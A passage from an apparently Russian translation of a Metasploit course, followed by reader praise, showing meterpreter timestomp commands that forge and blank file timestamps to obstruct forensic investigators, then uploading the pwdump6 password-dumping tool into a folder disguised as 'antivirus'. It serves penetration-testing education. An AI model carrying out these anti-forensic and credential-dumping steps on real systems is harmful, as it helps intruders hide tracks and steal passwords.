Created : Tue Dec 07 08:00:00 -0500 1999 Entry Modified: Sun May 03 05:11:16 -0400 2009
Теперь файл test.txt выглядит так, как будто был создан 7 декабря 1999 года. Посмотрим на файл из Windows.
File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt Created Date: 12/7/1999 7:00:00 AM Last Accessed: 5/3/2009 3:11:16 AM Last Modified: 12/7/1999 7:00:00 AM
Отлично! Правда мы можем наблюдать некоторые отличия во времени, если сравнить информацию из Windows с информацией из MSF. Это объясняется отображением часовых поясов. Windows отображает время как -0600, тогда как msf -0500. С поправкой на различия часового пояса, мы видим, что время совпадает. Также обратите внимание, что проверка информации о файле в Windows изменяет время последнего доступа к файлу. Это свидетельствует о том, на сколько «хрупким» MAC (Modified, Accessed, Changed) может быть, и поэтому нужно более внимательно относиться к взаимодействию с файлами.
Давайте теперь займемся несколько другими изменениями. В предыдущем примере мы замаскировали информацию о доступе к файлу. В некоторых случаях, это может оказаться нереальным, и лучшее на что можно надеется это затруднение поиска следственных органов информации об изменившихся файлах. Для таких ситуаций в арсенале timestomp есть опция (-b ), когда информация о доступе к файлу забивается нулями. Давайте посмотрим как это происходит.
meterpreter > timestomp test.txt -v Modified : Tue Dec 07 08:00:00 -0500 1999 Accessed : Sun May 03 05:16:20 -0400 2009 Created : Tue Dec 07 08:00:00 -0500 1999 Entry Modified: Sun May 03 05:11:16 -0400 2009 meterpreter > timestomp test.txt -b [*] Blanking file MACE attributes on test.txt meterpreter > timestomp test.txt -v [-] Error running command timestomp: Invalid MACE values /pentest/exploits/framework3/lib/rex/post/meterpreter/extensions/priv/fs.rb:45:in `get_file_mace'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb:91:in `cmd_timestomp'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:63:in `parse'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:53:in `each_pair'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:53:in `parse'/pentest/exploits/framework3/lib/rex/post/meterpreter/packet_dispatcher.rb:78:in `each_with_index'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:44:in `each'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:44:in `each_with_index'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:44:in `parse'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb:65:in `cmd_timestomp'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:94:in `run_command'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:60:in `interact'/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:123:in `call'/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:123:in `run'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:58:in `interact'/pentest/exploits/framework3/lib/msf/base/sessions/meterpreter.rb:181:in `_interact'/pentest/exploits/framework3/lib/rex/ui/interactive.rb:48:in `interact'/pentest/exploits/framework3/lib/msf/ui/console/command_dispatcher/core.rb:997:in `cmd_sessions'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/pentest/exploits/framework3/lib/msf/ui/console/command_dispatcher/exploit.rb:143:in `cmd_exploit'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:127:in `run'./msfconsole:82
Сообщение об ошибке — хороший знак. После обнуления времени доступа timestomp не смог правильно разобрать MAC. Это весьма интересно, и очень возможно, что утилита используемая компьтерно-технической экспертизой, так же столкнется с этими трудностями. Теперь посмотрим на файл в Windows.
File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt Created Date: 1/1/1601 Last Accessed: 5/3/2009 3:21:13 AM Last Modified: 1/1/1601
Очень интересно! Обратите внимание, что часовой пояс не установлен, а дата установлена на 1 января 1601. Есть идеи, почему так?((Подсказка: http://en.wikipedia.org/wiki/1601 # Notes)
meterpreter > cd C:\\WINNT meterpreter > mkdir antivirus Creating directory: antivirus meterpreter > cd antivirus meterpreter > pwd C:\WINNT\antivirus meterpreter > upload /pentest/windows-binaries/passwd-attack/pwdump6 c:\\WINNT\\antivirus\\ [*] uploading : /pentest/windows-binaries/passwd-attack/pwdump6/PwDump.exe -> c:WINNTantivirusPwDump.exe [*] uploaded : /pentest/windows-binaries/passwd-attack/pwdump6/PwDump.exe -> c:WINNTantivirusPwDump.exe [*] uploading : /pentest/windows-binaries/passwd-attack/pwdump6/LsaExt.dll -> c:WINNTantivirusLsaExt.dll
Уже седьмая часть перевода курсов и ни одного комментария по качеству перевода и стоит ли переводить дальше :)Обращаюсь к тем кто все это читает, помимо меня, если есть исправления предлагайте, будем переводить вместе ;)
Отличные статьи (перевод), читаю запоем, не могу оторваться.
Зачет и медаль тому человеку, кто все это делает.
Отлично, благодарю за отзыв, буду продолжать переводить :)
Чувак респект тебе за твой статьи очень интересно мне понравилось очень продолжай в том же духе, я давно искал подобное большое спасибо.
Огромный РЕСПЕКТ автору !!!!!!!!!!
Перевод мануала отличный, ждём продолжения….